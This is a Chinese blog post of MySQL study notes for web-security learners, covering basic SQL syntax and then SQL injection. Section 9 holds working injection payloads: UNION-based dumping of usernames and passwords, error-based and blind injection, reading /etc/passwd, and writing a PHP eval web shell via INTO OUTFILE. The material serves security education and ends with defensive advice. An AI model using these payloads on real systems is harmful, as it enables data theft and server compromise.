5_MySQL数据库学习笔记(web安全方向)

MySQL数据库学习笔记

目录

  1. MySQL基础入门
  2. 数据库基本操作
  3. 表的基本操作
  4. 数据类型与约束
  5. 表结构的修改
  6. 数据操作(增删改查)
  7. 查询进阶
  8. 子查询与联合查询
  9. MySQL与Web安全(information_schema与SQL注入基础)

1. MySQL基础入门

1.1 登录与退出

登录命令
​```bash
mysql -uroot -p -P3306 -h127.0.0.1


| 参数 | 说明               |
| ---- | ------------------ |
| `-u` | 用户名(如root)   |
| `-p` | 密码(回车后输入) |
| `-P` | 端口(默认3306)   |
| `-h` | 主机地址           |

**退出方式**:
```sql
mysql> exit;
mysql> quit;
mysql> \q;

1.2 MySQL注释符(三种)

注释方式 示例
# 单行注释 # 这是注释
-- 单行注释 -- 这是注释(注意--后有空格)
/* */ 多行注释 /* 这是多行注释 */

SQL注入中常用注释#--+(或--%20)、/*!*/(内联注释)

1.3 核心概念

概念 类比
数据库(Database) 文件夹
表(Table) 文件
字段(Column) 文件的列
记录(Row) 文件的行

2. 数据库基本操作

2.1 数据库的增删改查

-- 创建数据库
CREATE DATABASE db1;

-- 创建数据库(指定字符集)
CREATE DATABASE db1 CHARACTER SET utf8;

-- 查看所有数据库
SHOW DATABASES;

-- 查看指定数据库的创建信息
SHOW CREATE DATABASE db1;

-- 选择/切换数据库
USE db1;

-- 查看当前所在数据库
SELECT DATABASE();

-- 修改数据库字符集
ALTER DATABASE db1 CHARACTER SET utf8;

-- 删除数据库
DROP DATABASE db1;

-- 重命名数据库(MySQL 5.1.23之前支持,之后不支持直接重命名)
-- 可通过导出导入或创建新库再迁移

2.2 常用查看命令

-- 查看系统状态
SHOW STATUS;

-- 查看当前数据库中的所有表
SHOW TABLES;

-- 查看表结构(两种方式)
DESC 表名;
DESCRIBE 表名;

3. 表的基本操作

3.1 创建表

基本语法

CREATE TABLE 表名 (
    字段名1 数据类型 [约束条件],
    字段名2 数据类型 [约束条件],
    ...
    PRIMARY KEY (字段名)
) ENGINE=存储引擎 DEFAULT CHARSET=utf8;

完整示例

CREATE TABLE users (
    id INT(7) UNSIGNED AUTO_INCREMENT,
    username VARCHAR(30) NOT NULL,
    password VARCHAR(32) NOT NULL,
    email VARCHAR(40),
    PRIMARY KEY (id)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

带条件创建(避免重复)

CREATE TABLE IF NOT EXISTS users (
    id INT(7) AUTO_INCREMENT,
    username VARCHAR(100) NOT NULL,
    password VARCHAR(100) NOT NULL,
    PRIMARY KEY (id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

4. 数据类型与约束

4.1 常用数据类型

类型分类 具体类型 说明
整数型 INT(n) 整数,n为显示宽度
整数型 TINYINT 小整数(-128~127)
整数型 BIGINT 大整数
浮点型 FLOAT 单精度浮点数
浮点型 DOUBLE 双精度浮点数
字符串型 VARCHAR(n) 可变长度字符串(最多n字符)
字符串型 CHAR(n) 固定长度字符串
文本型 TEXT 长文本
日期型 DATE 日期(YYYY-MM-DD)
日期型 DATETIME 日期时间
日期型 TIMESTAMP 时间戳

VARCHAR vs CHAR

  • VARCHAR(n):可变长度,节省空间,适合长度不固定的数据
  • CHAR(n):固定长度,查询速度快,适合长度固定的数据

4.2 约束条件

约束 说明
PRIMARY KEY 主键,唯一标识一条记录
FOREIGN KEY 外键,关联另一张表的主键
NOT NULL 该字段不能为空
UNIQUE 该字段的值唯一
AUTO_INCREMENT 自动递增(通常用于主键)
DEFAULT 设置默认值
UNSIGNED 无符号(非负数)

5. 表结构的修改

5.1 修改表名

ALTER TABLE 旧表名 RENAME 新表名;

5.2 修改字段

-- 修改字段数据类型
ALTER TABLE 表名 MODIFY 字段名 新数据类型;

-- 修改字段名(同时可改类型)
ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;

5.3 增加/删除字段

-- 增加字段(可指定位置 FIRST / AFTER 字段名)
ALTER TABLE 表名 ADD 字段名 数据类型 [约束] [FIRST | AFTER 字段名];

-- 删除字段
ALTER TABLE 表名 DROP 字段名;

5.4 修改存储引擎

ALTER TABLE 表名 ENGINE = 存储引擎名;

6. 数据操作(增删改查)

6.1 插入数据(INSERT)

方式一:指定字段插入

INSERT INTO 表名 (字段1, 字段2, ...) VALUES (值1, 值2, ...);
INSERT INTO users (id, username, password) VALUES (1, 'moon', '123456');

方式二:省略字段(按顺序全部插入)

INSERT INTO 表名 VALUES (值1, 值2, ...);
INSERT INTO users VALUES (NULL, 'test', '123456');

方式三:SET方式

INSERT INTO 表名 SET 字段1=值1, 字段2=值2;
INSERT INTO users SET username='moon', password='123456';

批量插入

INSERT INTO users (username, password) VALUES 
    ('moon', '123456'),
    ('alex', '123456'),
    ('test', '123456');

6.2 更新数据(UPDATE)

-- 更新指定条件的数据
UPDATE 表名 SET 字段1=值1, 字段2=值2 WHERE 条件;
UPDATE users SET password='aaaa' WHERE id=1;

-- 更新所有数据(不加WHERE)
UPDATE users SET password='123456';

6.3 删除数据(DELETE)

-- 删除指定条件的数据
DELETE FROM 表名 WHERE 条件;
DELETE FROM users WHERE id=1;

-- 删除所有数据(保留表结构)
DELETE FROM 表名;

-- 清空表(重置自增ID)
TRUNCATE TABLE 表名;

DELETE vs TRUNCATE

操作 DELETE TRUNCATE
速度 慢(逐行删除) 快(直接重置)
自增ID 保留继续 重置从1开始
条件删除 支持(WHERE) 不支持
事务 支持回滚 不支持回滚

6.4 查询数据(SELECT)

基本查询

-- 查询所有字段
SELECT * FROM users;

-- 查询指定字段
SELECT username, password FROM users;

-- 带条件查询
SELECT * FROM users WHERE id=1;

IN 查询

SELECT * FROM users WHERE id IN (1, 2, 3);
SELECT * FROM users WHERE id NOT IN (1, 2, 3);

范围查询(BETWEEN AND)

SELECT * FROM users WHERE id BETWEEN 1 AND 10;
SELECT * FROM users WHERE id NOT BETWEEN 1 AND 10;

去重查询(DISTINCT)

SELECT DISTINCT username FROM users;

模糊查询(LIKE)

-- % 匹配任意个字符
SELECT * FROM users WHERE username LIKE '%m%';  -- 包含m

-- _ 匹配单个字符
SELECT * FROM users WHERE username LIKE 'moo_';  -- moo开头,后面一个字符

条件组合(AND / OR)

-- AND:全部满足
SELECT * FROM users WHERE id=1 AND username='moon';

-- OR:满足任意一个
SELECT * FROM users WHERE id=1 OR username='moon';

-- AND优先级高于OR
SELECT * FROM users WHERE id>5 AND password='123456' OR username='moon1';

限制结果数量(LIMIT)

-- 查询前10条
SELECT * FROM users LIMIT 10;

-- 从第2条开始,查询10条(偏移量2,数量10)
SELECT * FROM users LIMIT 2, 10;

取别名(AS)

-- 表别名
SELECT * FROM users AS u WHERE u.id=1;

-- 字段别名
SELECT username AS myname FROM users;

7. 查询进阶

7.1 聚合函数

函数 说明 示例
COUNT() 统计行数 SELECT COUNT(*) FROM users;
SUM() 求和 SELECT SUM(price) FROM orders;
AVG() 平均值 SELECT AVG(age) FROM users;
MAX() 最大值 SELECT MAX(id) FROM users;
MIN() 最小值 SELECT MIN(id) FROM users;

7.2 分组查询(GROUP BY)

-- 按某字段分组统计
SELECT password, COUNT(*) FROM users GROUP BY password;

-- 分组后筛选(HAVING)
SELECT password, COUNT(*) FROM users GROUP BY password HAVING COUNT(*) > 1;

注意:若GROUP BY报错,可在MySQL配置(my.ini)中添加:

sql_mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION

7.3 排序(ORDER BY)

-- 升序(默认)
SELECT * FROM users ORDER BY id ASC;

-- 降序
SELECT * FROM users ORDER BY id DESC;

8. 子查询与联合查询

8.1 WHERE型子查询

将内层查询结果作为外层查询的条件:

-- 查询id大于10的用户
SELECT * FROM users WHERE id IN (SELECT id FROM users WHERE id > 10);

8.2 FROM型子查询

将内层查询结果作为外层查询的临时表:

-- 子查询结果作为临时表,再筛选
SELECT * FROM (SELECT * FROM users WHERE id >= 10) AS temp;

8.3 EXISTS型子查询

判断子查询是否有返回结果:

SELECT * FROM users WHERE EXISTS (SELECT * FROM users WHERE id > 1);
-- 若子查询有结果则返回所有用户,否则返回空

8.4 联合查询(UNION / UNION ALL)

将多个查询结果合并:

-- 合并两个查询结果(去除重复行)
SELECT * FROM users UNION SELECT * FROM old_users;

-- 合并(保留所有行,包括重复)
SELECT * FROM users UNION ALL SELECT * FROM old_users;

使用规则

  • 两次查询的列数必须一致
  • 对应列的数据类型应兼容
  • UNION默认去重,UNION ALL保留全部
-- 示例:users表和news表字段数不同时需补齐
SELECT * FROM users UNION SELECT id, title, content FROM news;

9. MySQL与Web安全(information_schema与SQL注入基础)

本章重点介绍Web安全中与MySQL相关的核心知识,包括元数据库information_schema、常用系统函数以及MySQL特有的语法特性,这些均是手工SQL注入测试的理论基础。

9.1 information_schema数据库(mysql5.0及往上版本存在)

information_schema是MySQL自带的元数据数据库,它存储了所有其他数据库的元信息(数据库名、表名、字段名、权限等)。在SQL注入中,攻击者常通过查询该库来获取目标数据库的结构信息。

9.1.1 核心表及字段

表名 作用 关键字段
SCHEMATA 存储所有数据库的信息 SCHEMA_NAME(数据库名)、DEFAULT_CHARACTER_SET_NAME
TABLES 存储所有表的信息 TABLE_SCHEMA(所属库)、TABLE_NAME(表名)、TABLE_TYPE
COLUMNS 存储所有字段的信息 TABLE_SCHEMATABLE_NAMECOLUMN_NAMEDATA_TYPEIS_NULLABLE
STATISTICS 存储索引信息 TABLE_SCHEMATABLE_NAMEINDEX_NAMECOLUMN_NAME
KEY_COLUMN_USAGE 存储主键/外键约束信息 CONSTRAINT_SCHEMATABLE_NAMECOLUMN_NAMEREFERENCED_TABLE_NAME
USER_PRIVILEGES 用户权限信息 GRANTEEPRIVILEGE_TYPE

9.1.2 常用元数据查询(手工注入常用)

① 获取所有数据库名

SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;
-- 或限制当前用户可见的库(权限过滤)
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA WHERE SCHEMA_NAME NOT IN ('mysql','information_schema','performance_schema');

② 获取指定数据库的所有表名

SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = '目标数据库名';

③ 获取指定表的所有字段名

SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = '数据库名' AND TABLE_NAME = '表名';

④ 获取字段的完整信息(类型、是否为空等)

SELECT COLUMN_NAME, DATA_TYPE, IS_NULLABLE, COLUMN_DEFAULT 
FROM information_schema.COLUMNS 
WHERE TABLE_SCHEMA = 'db' AND TABLE_NAME = 'users';

⑤ 联合查询获取当前数据库名及所有表(注入经典三步)

-- 第一步:获取当前数据库名
SELECT database();

-- 第二步:获取该库所有表名
SELECT table_name FROM information_schema.tables WHERE table_schema = database();

-- 第三步:获取某表所有字段名
SELECT column_name FROM information_schema.columns WHERE table_schema = database() AND table_name = 'users';

9.2 常用系统函数(SQL注入专用)

以下函数在手工注入中用于提取信息、构造payload或实现盲注。

9.2.1 数据库/服务器信息函数

函数 作用 示例
DATABASE() 返回当前使用的数据库名 SELECT DATABASE();'testdb'
USER() / CURRENT_USER() 返回当前连接的用户名(含主机) SELECT USER();'root@localhost'
VERSION() 返回MySQL版本字符串 SELECT VERSION();'5.7.33-log'
@@DATADIR 返回数据目录路径 SELECT @@DATADIR;
@@BASEDIR 返回MySQL安装根目录 SELECT @@BASEDIR;
@@VERSION_COMPILE_OS 返回操作系统信息 SELECT @@VERSION_COMPILE_OS;

9.2.2 字符串处理函数(用于拼接、截取、比较)

函数 作用 示例
CONCAT(str1,str2,...) 连接多个字符串 SELECT CONCAT('user',':','password');'user:password'
CONCAT_WS(separator,str1,str2,...) 带分隔符连接 SELECT CONCAT_WS(',', 'a', 'b', 'c');'a,b,c'
GROUP_CONCAT(expr) 将分组中的值连接为一个字符串(常用于列转行) SELECT GROUP_CONCAT(username) FROM users;'admin,guest,test'
SUBSTR(str, pos, len) / SUBSTRING() 截取子串 SELECT SUBSTR('abcdef', 2, 3);'bcd'
LEFT(str, len) / RIGHT(str, len) 取左/右侧指定长度 SELECT LEFT('hello',2);'he'
LENGTH(str) 返回字符串字节长度 SELECT LENGTH('abc');3
CHAR_LENGTH(str) 返回字符个数(多字节安全) SELECT CHAR_LENGTH('你好');2
ASCII(str) 返回最左侧字符的ASCII码 SELECT ASCII('A');65
HEX(str) 返回字符串的十六进制表示 SELECT HEX('abc');'616263'
UNHEX(hex) 将十六进制转为二进制字符串 用于绕过引号限制

9.2.3 条件与流程控制函数

函数 作用 示例
IF(condition, true_val, false_val) 条件判断 SELECT IF(1=1, 'yes', 'no');'yes'
IFNULL(expr, default) 若expr为NULL则返回default SELECT IFNULL(NULL, '空');'空'
CASE WHEN ... THEN ... END 多分支条件 见下方示例
NULLIF(expr1, expr2) 若相等返回NULL,否则返回expr1

CASE示例(注入中用于布尔盲注)

SELECT CASE WHEN (SUBSTR(database(),1,1)='t') THEN 'true' ELSE 'false' END;

9.2.4 类型转换函数

函数 作用 示例
CAST(expr AS type) 转换为指定类型(BINARY, CHAR, DATE, DATETIME, DECIMAL, SIGNED, UNSIGNED) SELECT CAST('123' AS SIGNED);123
CONVERT(expr, type) 同CAST

9.2.5 延时与休眠函数(时间盲注)

函数 作用 示例
SLEEP(seconds) 休眠指定秒数,返回0 SELECT SLEEP(5); → 延迟5秒
BENCHMARK(count, expr) 重复执行expr count次(用于制造CPU耗时) SELECT BENCHMARK(10000000, MD5('a'));

9.3 MySQL特性与注入利用

9.3.1 注释符(回顾并补充内联注释)

类型 符号 说明
单行注释 # 到行尾结束
单行注释 -- 注意:--后必须有空格(注入中常写成 --+--%20
多行注释 /* ... */ 可跨行
内联注释 /*! ... */ MySQL特有,括号内的SQL会被执行,常用于版本条件或绕过WAF
条件注释 /*!50001 ... */ 仅当MySQL版本≥5.00.01时执行内部语句

内联注释示例

SELECT /*!50001 VERSION() */;   -- 版本>=5.00.01时执行

9.3.2 堆叠查询(Stacked Queries)

MySQL支持通过分号;分隔多条SQL语句,实现堆叠查询。但在PHP(如PDO或mysqli)中默认不支持多语句执行,需配置MULTI_STATEMENTS

示例

SELECT * FROM users; DROP TABLE students; -- 如果支持堆叠,则会删除students表

9.3.3 文件读写操作

MySQL提供了LOAD_FILE()INTO OUTFILE / INTO DUMPFILE,用于读写服务器文件。需要FILE权限,且secure_file_priv变量限制可操作目录。

① 读取文件

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('C:/windows/win.ini');

② 写入文件(导出查询结果)

-- INTO OUTFILE 导出为文本,每行以换行和制表符分隔
SELECT * FROM users INTO OUTFILE '/tmp/users.txt';

-- INTO DUMPFILE 导出原始二进制(无格式)
SELECT '<?php phpinfo(); ?>' INTO DUMPFILE '/var/www/html/shell.php';

注入中常见写法

UNION SELECT 1,2,3 INTO OUTFILE '/tmp/test.txt'
UNION SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'

注意secure_file_privNULL时禁止文件操作,为空字符串时允许任意目录,为具体路径时仅限该路径。

9.3.4 报错注入常用函数

当MySQL报错信息会回显到页面时,可利用以下函数触发错误并返回查询结果。

函数/语句 原理 示例
updatexml(xml_target, xpath_expr, new_value) 当xpath表达式不合法时,报错显示内容 SELECT updatexml(1, concat(0x7e, database(), 0x7e), 1);
extractvalue(xml_frag, xpath_expr) 类似,xpath错误时报错 SELECT extractvalue(1, concat(0x7e, version()));
floor(rand(0)*2) 配合 group by 主键冲突报错(经典“双查询”报错) 见下方
GTID_SUBSET() / GTID_SUBTRACT() 在高版本MySQL(5.6+)中用于报错注入 SELECT GTID_SUBSET(user(), 0);
name_const(name, value) 当第二个参数为列名时冲突报错 SELECT name_const(version(), 1);

双查询报错注入经典payload

SELECT count(*), concat(floor(rand(0)*2), (SELECT database())) AS a 
FROM information_schema.tables GROUP BY a;

9.3.5 宽字节注入(GBK编码绕过)

当MySQL连接使用SET NAMES 'gbk'时,反斜杠\(0x5c)与某些字符(如%df)组合成双字节汉字,从而吃掉转义符,绕过addslashes()等过滤。核心概念:%df%5c被解析为“運”字。

9.3.6 其他辅助函数

函数 作用 注入用途
ORD(str) 返回第一个字符的ASCII(同ASCII) 盲注字符判断
MID(str,pos,len) 同SUBSTR 截取
POSITION(substr IN str) 返回子串首次出现位置 判断字符串是否存在
INSTR(str, substr) 同POSITION 同上
REGEXP / RLIKE 正则匹配,可用作布尔盲注条件 SELECT * FROM users WHERE id=1 AND username REGEXP '^a';
LIKE 模糊匹配(% _) 盲注

9.4 典型注入查询payload示例(基于联合查询)

假设目标查询为:SELECT id, username, password FROM users WHERE id = $_GET['id']

① 判断注入点及列数

?id=1 ORDER BY 3 --+      -- 正常,说明有3列
?id=1 ORDER BY 4 --+      -- 报错,说明只有3列

② 获取当前数据库名

?id=-1 UNION SELECT 1,2,database() --+

③ 获取所有表名(利用information_schema)

?id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database() --+

④ 获取指定表的所有字段

?id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' --+

⑤ 脱取数据

?id=-1 UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users --+

⑥ 报错注入示例(利用updatexml)

?id=1 AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1) --+

⑦ 布尔盲注示例(逐位判断数据库名)

?id=1 AND SUBSTR(database(), 1, 1) = 't' --+   -- 根据页面是否正常判断

⑧ 时间盲注示例

?id=1 AND IF(SUBSTR(database(), 1, 1) = 't', SLEEP(5), 0) --+

附录A:常用SQL速查

操作 SQL语句
登录MySQL mysql -uroot -p
查看所有数据库 SHOW DATABASES;
选择数据库 USE 库名;
查看当前库所有表 SHOW TABLES;
查看表结构 DESC 表名;
查看所有数据 SELECT * FROM 表名;
条件查询 SELECT * FROM 表名 WHERE 条件;
插入数据 INSERT INTO 表名 VALUES(...);
更新数据 UPDATE 表名 SET 字段=值 WHERE 条件;
删除数据 DELETE FROM 表名 WHERE 条件;
模糊查询 SELECT * FROM 表名 WHERE 字段 LIKE '%值%';
排序查询 SELECT * FROM 表名 ORDER BY 字段 DESC;
分页查询 SELECT * FROM 表名 LIMIT 偏移量, 数量;
查询元数据(库) SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;
查询元数据(表) SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='库名';
查询元数据(字段) SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='表名';

附录B:SQL注入防御要点(安全补充)

  • 使用参数化查询(Prepared Statement)(如PDO、MySQLi)彻底避免拼接SQL。
  • 对输入进行严格类型校验(如intval处理数字型参数)。
  • 最小化数据库权限(不使用root,禁用FILE权限,设置secure_file_priv)。
  • 隐藏错误信息(display_errors=Off),避免报错泄露。
  • 定期更新MySQL版本,修复已知漏洞。

注意本笔记是源于暗月安全培训 https://edu.moonsec.com 的ai整合版

posted @ 2026-07-07 11:39  新手打怪兽  阅读(0)  评论(0)    收藏  举报